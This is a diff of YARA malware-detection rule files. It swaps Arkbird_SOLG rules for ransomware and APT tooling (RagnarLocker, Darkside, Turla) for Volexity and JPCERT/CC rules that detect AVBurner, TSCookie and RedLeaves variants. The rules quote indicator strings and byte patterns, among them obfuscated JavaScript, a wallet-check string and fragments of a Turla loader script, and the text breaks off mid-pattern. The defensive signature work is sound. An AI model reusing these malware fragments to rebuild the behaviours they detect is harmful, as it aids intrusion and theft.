+		hash1 = "efea95720853e0cd2d9d4e93a64a726cfe17efea7b17af7c4ae6d3a6acae5b30"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$x1 = { 52 2f 53 2f 4a 61 76 61 53 63 72 69 70 74 3e 3e 0d 65 6e 64 6f 62 6a 0d }
-		$s1 = { 78 9c ec bd 6b 97 eb 4a 72 25 f6 57 8e b5 96 67 75 4f 6b 24 f0 25 8f a6 d5 b3 16 59 00 6a c8 19 80 06 86 28 9b 65 d9 b3 7a 58 b7 59 97 3c ea 96 fb 21 92 90 fb bf 3b 76 64 c6 23 93 f5 38 47 6a 8f f5 41 1f ee ba c5 03 12 40 66 46 46 c6 63 c7 8e 7f f8 }
-		$s2 = { 94 fe 9b f1 c7 1f e8 e3 0f f4 f1 87 19 fd 37 ff f9 17 fc db 8f f4 ed e2 e7 5f fe 1b fe ff df 7e fc 8b df fe f0 f7 5f 7f 79 f8 e1 27 7f f9 7f fc 5f cb 7f f7 fc cb 7f 37 16 ff ee af ff f6 67 7f fb 97 7f fb b7 bf f8 3f ff f2 f8 e7 74 e3 9f fe fc cb e5 f5 c7 af 3f 7c f9 c9 8f 5f fe 06 3f f9 fa c3 af 8f bf 7f a5 87 d3 fd e9 26 bf 7f fd f1 }
-		$s3 = { b6 7c 2a db e2 39 ae 67 75 d9 ee 56 ab 7e 27 f2 b5 2e ba 61 3d a5 f5 88 f3 5b 3f f6 b4 b6 6d d1 c9 fb ae 9a 20 93 63 5c cf 69 73 6e a6 dd 4e d6 6b 98 f4 67 92 01 fa 9e 3d 6f 98 f7 95 3c ef eb aa 3f 37 85 bd ef 70 69 c6 ba ea 77 4f }
-		$s4 = { 4d 51 d7 5b 7d de f2 96 c8 0b dd bf d9 2d e9 7d 87 85 ec 87 b6 a4 cf 43 dc 1f 55 37 d2 fd 2b 95 df 20 6f 45 ab e3 e1 eb 24 df 71 ff 40 fe 69 3f }
-		$s5 = { 0f 35 fc 43 53 cf 03 67 d3 85 fb 51 b6 49 5f 40 fa 5d a2 3f 7d 31 fb 0b 3d 6f 53 69 ff 78 aa 37 e8 f3 12 fe 35 3e 43 90 7c 9c e3 73 a6 78 1c 9c 21 ec bf 20 df eb f0 5a b7 76 6f fb ad 96 53 57 0f a4 fc c3 6a f5 6d fe 41 fc 19 ed f7 4f 78 3a e9 1f f8 23 3d 2b 8d 2f 86 79 d6 7b b2 f8 e0 85 f2 51 25 fc 70 8c }
+		$rev0 = "oi.buhtig.ralue//:ptth" ascii
+		$rev1 = "lairA' xp41" ascii
+		$rev2 = "dnuof ton ksaMateM" ascii
+		$unicode1 = "document[\"\\u0063\\u0075\\u0072\\u0072\\u0065\\u006e\\u0074\\u0053\\u0063\\u0072\\u0069\\u0070\\u0074\"]" ascii
+		$unicode2 = "\\u0061\\u0070\\u0070\\u006c\\u0069\\u0063\\u0061\\u0074\\u0069\\u006f\\u006e\\u002f\\u006a\\u0073\\u006f\\u006e" ascii
+		$unicode3 = "\\u0063\\u006c\\u0069\\u0065\\u006e\\u0074\\u0057\\u0069\\u0064\\u0074\\u0068" ascii
+		$unicode4 = "=window[\"\\u0073\\u0063\\u0072\\u0065\\u0065\\u006e\"]" ascii
+		$header = "(function(){info={};finished=" ascii
 
 	condition:
-		uint32(0)==0x46445025 and filesize >25KB and $x1 and 4 of ($s*)
+		all of ($rev*) or all of ($unicode*) or $header
 }
-import "pe"
-
-rule ARKBIRD_SOLG_Ran_Mem_Ragnarlocker_Nov_2020_1 : FILE
+rule VOLEXITY_Apt_Win_Avburner : SNAKECHARMER
 {
 	meta:
-		description = "Detect memory artefacts of the Ragnarlocker ransomware (Nov 2020)"
-		author = "Arkbird_SOLG"
-		id = "910774ab-9ad6-5c56-a921-203f61c9d7f7"
-		date = "2020-11-26"
-		modified = "2020-11-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-27/Ran_RagnarLocker_Nov_2020_1.yar#L3-L33"
-		license_url = "N/A"
-		logic_hash = "2cb26677b8f4e464750eb8dec0638fd3f9a28500e68f64d62e99236c93895c85"
+		description = "Detects AVBurner based on a combination of API calls used, hard-coded strings and bytecode patterns."
+		author = "threatintel@volexity.com"
+		id = "1bde0861-4820-5bb1-98a3-516092c91be0"
+		date = "2023-01-02"
+		modified = "2023-03-07"
+		reference = "https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-03-07 AVBurner/yara.yar#L1-L36"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "4b1b1a1293ccd2c0fd51075de9376ebb55ab64972da785153fcb0a4eb523a5eb"
+		logic_hash = "56ff6c8a4b737959a1219699a0457de1f0c34fead4299033840fb23c56a0caad"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		hash1 = "041fd213326dd5c10a16caf88ff076bb98c68c052284430fba5f601023d39a14"
-		hash2 = "dd79b2abc21e766fe3076038482ded43e5069a1af9e0ad29e06dce387bfae900"
+		quality = 80
+		tags = "SNAKECHARMER"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = "\\\\.\\PHYSICALDRIVE%d" fullword wide
-		$s2 = "bootfont.bin" fullword wide
-		$s3 = "bootsect.bak" fullword wide
-		$s4 = "bootmgr.efi" fullword wide
-		$s5 = "---RAGNAR SECRET---" fullword ascii
-		$s6 = "Mozilla"
-		$s7 = "Internet Explorer" fullword wide
-		$s8 = "  </trustInfo>" fullword ascii
-		$s9 = "Tor browser" fullword wide
-		$s10 = "Opera Software" fullword wide
-		$s11 = "---END RAGN KEY---" fullword ascii
-		$s12 = "---BEGIN RAGN KEY---" fullword ascii
-		$s13 = "%s-%s-%s-%s-%s" fullword wide
-		$s14 = "$Recycle.Bin" fullword wide
-		$s15 = "***********************************************************************************" fullword ascii
-		$s16 = "K<^_[]" fullword ascii
-		$s17 = "SD;SDw" fullword ascii
-		$s18 = "Windows.old" fullword wide
-		$s19 = "iconcache.db" fullword wide
+		$api1 = "PspCreateProcessNotifyRoutineAddress" wide
+		$api2 = "PspCreateThreadNotifyRoutineAddress" wide
+		$api3 = "PspLoadImageNotifyRoutineAddress" wide
+		$str1 = "\\\\.\\RTCORE64" wide
+		$str2 = "\\\\%ws/pipe/%ws" wide
+		$str3 = "CreateServerW Failed %u" wide
+		$str4 = "OpenSCManager Failed %u" wide
+		$str5 = "Get patternAddress" wide
+		$pattern1 = { 4C 8B F9 48 8D 0C C1 E8 }
+		$pattern2 = { 48 8D 0C DD 00 00 00 00  45 33 C0 49 03 CD 48 8B }
+		$pattern3 = { 48 8D 04 C1 48 89 45 70 48 8B C8 E8 }
+		$pattern4 = { 49 8D 0C FC 45 33 C0 48 8B D6 E8 00 00 00 00 00}
+		$pattern5 = { 45 33 C0 48 8D 0C D9 48 8B D7 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+		$pattern6 = { 41 0F BA 6D 00 0A BB 01 00 00 00 4C 8B F2 4C 8B F9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 12 of them
+		all of ($api*) or all of ($str*) or all of ($pattern*)
 }
-import "pe"
+/*
+ * YARA Rule Set
+ * Repository Name: JPCERTCC
+ * Repository: https://github.com/JPCERTCC/MalConfScan/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 19ec0d145535a6a4cfd37c0960114f455a8c343e
+ * Number of Rules: 30
+ * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * The 3-Clause BSD License
 
-rule ARKBIRD_SOLG_Ran_Cert_Ragnarlocker_Nov_2020_1 : FILE
+SPDX short identifier: BSD-3-Clause
+Note: This license has also been called the "New BSD License" or "Modified BSD License". See also the 2-clause BSD License.
+
+---
+
+Copyright 2023 JPCERT Coordination Center
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Neither JPCERT Coordination Center nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
+IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ */
+rule JPCERTCC_Tscookie_1
 {
 	meta:
-		description = "Detect certificates and VMProtect used for the Ragnarlocker ransomware (Nov 2020)"
-		author = "Arkbird_SOLG"
-		id = "85d51804-eebd-5353-8bd9-01756e7f7d07"
-		date = "2020-11-26"
-		modified = "2020-11-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-27/Ran_RagnarLocker_Nov_2020_1.yar#L35-L55"
-		license_url = "N/A"
-		logic_hash = "8171128426b48102457f5ba0771b27aaf5f4562293aff04c256bd5bd721a908e"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		level = "Experimental"
-		hash1 = "afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68"
-		hash2 = "9416e5a57e6de00c685560fa9fee761126569d123f62060792bf2049ebba4151"
+		description = "detect TSCookie in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "5407a5c9-2fc5-5b9b-977f-81384a343d15"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L8-L21"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "71e51ceb51cff25abefd698ce33f32388cc28ad5936f30fbbb9925d9af79ad85"
+		score = 75
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "6d2f5675630d0dae65a796ac624fb90f42f35fbe5dec2ec8f4adce5ebfaabf75"
 
 	strings:
-		$vmp0 = { 2E 76 6D 70 30 00 00 00 }
-		$vmp1 = { 2E 76 6D 70 31 00 00 00 }
+		$v1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" wide
+		$b1 = { 68 D4 08 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >5000KB and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "GlobalSign" and pe.signatures[i].serial=="68:65:29:4f:67:f0:c3:bb:2e:19:1f:75") and $vmp0 in (0x100..0x300) and $vmp1 in (0x100..0x300)
+		all of them
 }
-import "pe"
-
-rule ARKBIRD_SOLG_Malware_Casbaneiro_MSI : FILE
+rule JPCERTCC_TSC_Loader
 {
 	meta:
-		description = "Detect MSIPackage used by Casbaneiro"
-		author = "Arkbird_SOLG"
-		id = "47a5ea47-f799-5467-a482-9816c0de3ecf"
-		date = "2020-06-05"
-		modified = "2020-06-05"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1268811438707159040"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-05/Casbaneiro/Casbaneiro_stealer.yar#L3-L22"
-		license_url = "N/A"
-		logic_hash = "fa1c53268d51b4b34b4cf4cd84ddb43ffba1dfa8bbe73cd7506f5e31e970855b"
+		description = "detect TSCookie Loader in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "378cc8a3-6a76-50d1-b1d2-1a6ca1a75a46"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L23-L35"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "c825253ba897f0f7310162d0473e645dc40b421e9251977384cca2fdc735f7a8"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		hash1 = "8e77a2e1d30600db01a8481d232b601581faee02b7ec44c1ad9d74ec3544ba7d"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$x1 = "C:\\Branch\\win\\Release\\custact\\x86\\vmdetect.pdb" fullword ascii
-		$s2 = "C:\\Branch\\win\\Release\\custact\\\\x86\\AICustAct.pdb" fullword ascii
-		$s3 = ";!@Install@!UTF-8!\\nTitle=\"Mozilla Firefox\"\\nRunProgram=\"setup-stub.exe\"\\n;!@InstallEnd@!7z" fullword ascii
-		$s4 = "__MOZCUSTOM__:campaign%3D%2528not%2Bset%2529%26content%3D%2528not%2Bset%2529%26medium%3Dreferral%26source%3Dwww.google.com" fullword ascii
-		$s5 = "https://www.mozilla.com0\\r" fullword wide
-		$s6 = "__CxxFrameHandler" fullword ascii
-		$s7 = "release+certificates@mozilla.com" fullword ascii
-		$s8 = "setup-stub.exe" fullword ascii
-		$s9 = "7zS.sfx.exe" fullword ascii
+		$v1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" wide
+		$b1 = { 68 78 0B 00 00 }
 
 	condition:
-		uint16(0)==0xd0cf and filesize >100KB and 7 of them
+		all of them
 }
-rule ARKBIRD_SOLG_APT_Tardigrade_Nov_2021_1 : FILE
+rule JPCERTCC_Redleaves
 {
 	meta:
-		description = "Detect Tardigrade loader"
-		author = "Arkbird_SOLG"
-		id = "f6c8014a-21dd-5ebd-9edd-7a9f649a43a0"
-		date = "2021-11-22"
-		modified = "2021-11-23"
-		reference = "https://www.isac.bio/post/tardigrade"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-22/APT_Tardigrade_Nov_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "98358d9dbf62e653b136268d8694ed4d7f48c80125dd12ccea5f36ff5c6b4a3c"
+		description = "detect RedLeaves in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "e17a85de-6a15-5de5-ba9e-03ac6d896d7d"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://blogs.jpcert.or.jp/en/2017/05/volatility-plugin-for-detecting-redleaves-malware.html"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L53-L66"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "c79815dd26070184688d43b336dc2be07df5e2236e60c8ecc42f5efec2cab190"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "1c7c1a28921d81f672320e81ad58642ef3b8e27abf8a8e51400b98b40f49568be"
-		hash2 = "c0976a1fbc3dd938f1d2996a888d0b3a516b432a2c38d788831553d81e2f5858"
-		hash3 = "cf88926b7d5a5ebbd563d0241aaf83718b77cec56da66bdf234295cc5a91c5fe"
-		tlp = "white"
-		adversary = "Tardigrade"
+		quality = 80
+		tags = ""
+		rule_usage = "memory block scan"
+		hash1 = "5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481"
 
 	strings:
-		$s1 = { 63 6d 64 2e 65 78 65 20 2f 63 20 65 63 68 6f 20 [10-40] 3e 22 25 73 22 26 65 78 69 74 }
-		$s2 = { 4c 89 44 24 38 89 54 24 34 48 89 4c 24 28 e8 [2] 01 00 e8 [2] 01 00 4c 8b 44 24 38 8b 54 24 34 48 8b 4c 24 28 48 83 c4 48 e9 71 fe ff ff 90 48 89 ca 48 8d 0d 76 ?? 02 00 }
-		$s3 = { 41 57 41 56 41 55 41 54 55 57 56 53 48 ?? ec [1-4] 48 8b 84 24 ?? 00 00 00 48 89 44 24 60 48 8b 05 [2] 01 00 48 89 4c 24 40 ?? 38 }
-		$s4 = { 45 31 c0 48 8d 8c 24 ?? 02 00 00 4c 8d 8c 24 ?? 01 00 00 48 8d 15 [2] 01 00 ff 15 [2] 02 00 }
+		$v1 = "red_autumnal_leaves_dllmain.dll"
+		$b1 = { FF FF 90 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >50KB and all of them
+		$v1 and $b1 at 0
 }
-rule ARKBIRD_SOLG_APT_Turla_Ironpython_Apr_2021_1 : FILE
+rule JPCERTCC_Himawari
 {
 	meta:
-		description = "Detect IronPython script used by Turla group"
-		author = "Arkbird_SOLG"
-		id = "303929d4-2c43-5e43-aeb0-09f469f7091b"
-		date = "2021-04-30"
-		modified = "2021-05-01"
-		reference = "https://twitter.com/DrunkBinary/status/1388332507695919104"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Turla/APT_Turla_IronPython_Apr_2021_1.yara#L1-L26"
-		license_url = "N/A"
-		logic_hash = "f6b626cddb4832f842a15eddce705fb24125e4341c425cf27dbbe537e2a98bdc"
+		description = "detect Himawari(a variant of RedLeaves) in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "85c33dc6-0f9b-5645-b236-f416df16b4a4"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://www.jpcert.or.jp/present/2018/JSAC2018_01_nakatsuru.pdf"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L68-L82"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "9014e6e02fb9d8fa0f646c61647ab28c3cb08f10f8f584ddd11eba27211307f5"
 		score = 75
-		quality = 57
-		tags = "FILE"
-		hash1 = "65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361"
-		hash2 = "c430ebab4bf827303bc4ad95d40eecc7988bdc17cc139c8f88466bc536755d4e"
-		hash3 = "f76257749792cc4e54f75d0e7a83e7a4429395c5dbc48078a8068575d7e9a98"
-		tlp = "White"
-		adversary = "Turla"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "3938436ab73dcd10c495354546265d5498013a6d17d9c4f842507be26ea8fafb"
 
 	strings:
-		$s1 = { 6c 61 6d 62 64 61 20 73 2c 6b 3a 27 27 2e 6a 6f 69 6e 28 5b 63 68 72 28 28 6f 72 64 28 63 29 5e 6b 29 25 30 78 31 30 30 29 20 66 6f 72 20 63 20 69 6e 20 73 5d 29 }
-		$s2 = { 66 72 6f 6d 20 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 20 69 6d 70 6f 72 74 2a }
-		$s3 = { 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 28 4b 65 79 53 69 7a 65 3d 31 32 38 2c 42 6c 6f 63 6b 53 69 7a 65 3d 31 32 38 29 }
-		$s4 = { 72 65 74 75 72 6e 20 53 79 73 74 65 6d 2e 41 72 72 61 79 5b 53 79 73 74 65 6d 2e 42 79 74 65 5d 28 5b 6f 72 64 28 78 29 66 6f 72 20 78 20 69 6e 20 6c 69 73 74 28 73 74 72 29 5d 29 }
-		$s5 = { 53 79 73 74 65 6d 2e 41 72 72 61 79 2e 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 53 79 73 74 65 6d 2e 42 79 74 65 2c [10-12] 2e 4c 65 6e 67 74 68 29 }
-		$s6 = { 28 62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 [4-10] 5b 31 36 3a 5d 29 2c 73 79 73 2e 61 72 67 76 5b 31 5d 2c [4-10] 5b 3a 31 36 5d 2c }
-		$s7 = { 41 73 73 65 6d 62 6c 79 2e 4c 6f 61 64 28 }
-		$s8 = { 20 69 66 20 6c 65 6e 28 73 79 73 2e 61 72 67 76 29 21 3d 32 3a }
-		$s9 = { 65 78 63 65 70 74 20 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 45 78 63 65 70 74 69 6f 6e 20 61 73 20 65 78 3a }
-		$s10 = { 69 66 20 5f 5f 6e 61 6d 65 5f 5f 3d 3d }
-		$s11 = { 2e 66 6f 72 6d 61 74 28 65 78 2e 4d 65 73 73 61 67 65 2c 65 78 2e 53 74 61 63 6b 54 72 61 63 65 29 29 }
+		$h1 = "himawariA"
+		$h2 = "himawariB"
+		$h3 = "HimawariDemo"
 
 	condition:
-		filesize >100KB and 9 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_RAN_ELF_Darkside_Apr_2021_1 : FILE
+rule JPCERTCC_Lavender
 {
 	meta:
-		description = "Detect the ELF version of Darkside ransomware"
-		author = "Arkbird_SOLG"
-		id = "10c0ba57-d6d6-5d1d-bd2a-f6f240d71f8b"
-		date = "2021-05-01"
-		modified = "2021-05-02"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1388301138437578757"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Darkside/RAN_ELF_Darkside_Apr_2021_1.yara#L1-L23"
-		license_url = "N/A"
-		logic_hash = "510932893e1e81d6c88e86c7ae2345460b397c936336c7e1a33799dbc1dd6aab"
+		description = "detect Lavender(a variant of RedLeaves) in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "8c30ae73-161f-5117-a1f9-fad0bd5278de"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L84-L97"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "bf64f927e2c8e9be0f11497f94357de8e3fadcf09ba224d6fec92841c89c1dc5"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "984ce69083f2865ce90b48569291982e786980aeef83345953276adfcbbeece8"
-		hash2 = "9cc3c217e3790f3247a0c0d3d18d6917701571a8526159e942d0fffb848acffb"
-		hash3 = "c93e6237abf041bc2530ccb510dd016ef1cc6847d43bf023351dce2a96fdc33b"
-		tlp = "White"
-		adversary = "-"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "db7c1534dede15be08e651784d3a5d2ae41963d192b0f8776701b4b72240c38d"
 
 	strings:
-		$seq1 = { 48 8d 3d d1 e8 3b 00 e8 9c 51 f2 ff 85 c0 74 c6 4c 8d 6c 24 10 4c 89 ef e8 ab bf 02 00 48 8d 1d 34 bb 37 00 49 8d 75 08 48 8d 3d 31 e1 3b 00 48 8d 43 10 48 89 05 1e e1 3b 00 e8 09 1e 02 00 48 8d 05 22 d8 0e 00 48 8b 7c 24 18 c7 05 4b e1 3b 00 01 00 00 00 48 89 05 1c e1 3b 00 48 8d 05 4d d8 0e 00 48 85 ff 48 89 05 13 e1 3b 00 48 8d 05 84 d8 0e 00 48 89 05 0d e1 3b 00 48 8d 05 be d8 0e 00 48 89 05 07 e1 3b 00 48 8d 05 48 d9 0e 00 48 89 05 01 e1 3b 00 48 8d 43 10 48 89 44 24 10 74 05 e8 21 45 f2 ff 4c 8d ac 24 30 03 00 00 4c 89 ef e8 11 bf 02 00 4c 8d b4 24 10 03 00 00 ba 03 00 00 00 4c 89 ee 4c 89 f7 e8 39 62 ff ff 48 8b bc 24 38 03 00 00 48 8d 43 10 48 89 84 24 30 03 00 00 48 85 ff 74 05 e8 db 44 f2 ff 4c 8d 6c 24 30 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 06 62 ff ff 48 8b bc 24 18 03 00 00 48 8d 43 10 48 89 84 24 10 03 00 00 48 85 ff 74 05 e8 a8 44 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 81 e0 3b 00 48 89 05 72 e0 3b 00 e8 0d 1d 02 00 48 8d 05 26 d7 0e 00 48 8b 7c 24 38 c7 05 9f e0 3b 00 01 00 00 00 48 89 05 70 e0 3b 00 48 8d 05 51 d7 0e 00 48 85 ff 48 89 05 67 e0 3b 00 48 8d 05 88 d7 0e 00 48 89 05 61 e0 3b 00 48 8d 05 c2 d7 0e 00 48 89 05 5b e0 3b 00 48 8d 05 4c d8 0e 00 48 89 05 55 e0 3b 00 48 8d 43 10 48 89 44 24 30 74 05 e8 25 44 f2 ff 4c 8d b4 24 50 03 00 00 4c 89 f7 e8 05 c5 02 00 4c 8d 6c 24 50 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 40 61 ff ff 48 8b bc 24 58 03 00 00 48 8d 43 10 48 89 84 24 50 03 00 00 48 85 ff 74 05 e8 e2 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 0b e0 3b 00 48 89 05 fc df 3b 00 e8 47 1c 02 00 48 8d 05 18 d8 0e 00 48 8b 7c 24 58 c7 05 29 e0 3b 00 01 00 00 00 48 89 05 fa df 3b 00 48 8d 05 33 d8 0e 00 48 85 ff 48 89 05 f1 df 3b 00 48 8d 05 5a d8 0e 00 48 89 05 eb df 3b 00 48 8d 05 84 d8 0e 00 48 89 05 e5 df 3b 00 48 8d 05 de d8 0e 00 48 89 05 df df 3b 00 48 8d 43 10 48 89 44 24 50 74 05 e8 5f 43 f2 ff 4c 8d b4 24 70 03 00 00 4c 89 f7 e8 3f c4 02 00 4c 8d 6c 24 70 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 7a 60 ff ff 48 8b bc 24 78 03 00 00 48 8d 43 10 48 89 84 24 70 03 00 00 48 85 ff 74 05 e8 1c 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 95 df 3b 00 48 89 05 86 df 3b 00 e8 81 1b 02 00 48 8d 05 9a d8 0e 00 48 8b 7c 24 78 c7 05 b3 df 3b 00 01 00 00 00 48 89 05 84 df 3b 00 48 8d 05 c5 d8 0e 00 48 85 ff 48 89 05 7b df 3b 00 48 8d 05 fc d8 0e 00 48 89 05 75 df 3b 00 48 8d 05 36 d9 0e 00 48 89 05 6f df 3b 00 48 8d 05 b0 d9 0e 00 48 89 05 69 df 3b 00 48 8d 43 10 48 89 44 24 70 74 05 e8 99 42 f2 ff 4c 8d ac 24 90 03 00 00 4c 89 ef e8 19 be 02 00 4c 8d b4 24 b0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 b1 5f ff ff 4c 8d ac 24 90 00 00 00 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 99 5f ff ff 48 8b bc 24 b8 03 00 00 48 8d 43 10 48 89 84 24 b0 03 00 00 48 85 ff 74 05 e8 3b 42 f2 ff 48 8b bc 24 98 03 00 00 48 8d 43 10 48 89 84 24 90 03 00 00 48 85 ff 74 05 e8 1d 42 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d e6 de 3b 00 48 89 05 d7 de 3b 00 e8 82 1a 02 00 48 8d 05 43 d9 0e 00 48 8b bc 24 98 00 00 00 c7 05 01 df 3b 00 01 00 00 00 48 89 05 d2 de 3b 00 48 8d 05 53 d9 0e 00 48 85 ff 48 89 05 c9 de 3b 00 48 8d 05 72 d9 0e 00 48 89 05 c3 de 3b 00 48 8d 05 94 d9 0e 00 48 89 05 bd de 3b 00 48 8d 05 de d9 0e 00 48 89 05 b7 de 3b 00 48 8d 43 10 48 89 84 24 90 00 00 00 74 05 e8 94 41 f2 ff 4c 8d ac 24 d0 03 00 00 4c 89 ef e8 14 bd 02 00 4c 8d b4 24 f0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 ac 5e ff ff 4c 8d ac 24 b0 00 00 00 ba 03 00 00 00 4c 89 f6 4c 89 ef e8 94 5e ff ff 48 8b bc 24 f8 03 00 00 48 8d 43 10 48 89 84 24 f0 03 00 00 48 85 ff 74 05 e8 36 41 f2 ff 48 8b bc 24 d8 03 00 00 48 8d 43 10 48 89 84 24 d0 03 00 00 48 85 ff 74 05 e8 18 41 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 31 de 3b 00 48 89 05 22 de 3b 00 e8 7d 19 02 00 48 8d 05 56 d9 0e 00 48 8b bc 24 b8 00 00 00 c7 05 4c de 3b 00 01 00 00 00 48 89 05 1d de 3b 00 48 8d 05 6e d9 0e 00 48 85 ff 48 89 05 14 de 3b 00 48 8d 05 95 